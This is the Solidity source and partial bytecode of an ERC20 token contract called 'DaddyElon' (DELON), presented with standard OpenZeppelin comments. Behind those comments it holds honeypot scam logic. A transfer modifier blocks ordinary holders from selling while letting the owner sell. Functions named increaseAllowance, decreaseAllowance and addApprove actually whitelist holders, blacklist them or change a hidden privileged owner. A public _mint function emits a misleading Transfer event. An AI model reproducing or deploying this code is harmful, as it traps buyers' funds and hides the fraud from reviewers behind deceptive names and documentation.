memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract DELON is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'DaddyElon'; string private _symbol = 'DELON'; uint256 initialSupply = 1000000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, 0*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5c565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa4565b005b6105a46110ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114d565b60405180821515815260200191505060405180910390f35b61068b61116b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611191565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611218565b005b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611455565b848461145d565b6001905092915050565b6000600554905090565b6000610a74848484611654565b610b3584610a80611455565b610b3085604051806060016040528060288152602001612e8260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611455565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b61145d565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113cd90919063ffffffff16565b600581905550610ca881600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f5657610e75838281518110610e5457fe5b6020026020010151838381518110610e6857fe5b602002602001015161114d565b5083811015610f49576001806000858481518110610e8f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f48838281518110610ef757fe5b6020026020010151600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61145d565b5b8080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111435780601f1061111857610100808354040283529160200191611143565b820191906000526020600020905b81548152906001019060200180831161112657829003601f168201915b5050505050905090565b600061116161115a611455565b8484611654565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113c95760018060008484815181106112f857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061136357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112de565b5050565b60008082840190508381101561144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ecf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e3a6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117235750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a2a5781600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611875576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611880868686612e11565b6118eb84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061197e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d49565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611ad35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b2b5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e8657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bb857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611bc557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611cdc868686612e11565b611d4784604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dda846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d48565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121a057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611ff6868686612e11565b61206184604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f4846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d47565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125b857600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122a25750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561237d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b61240e868686612e11565b61247984604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1b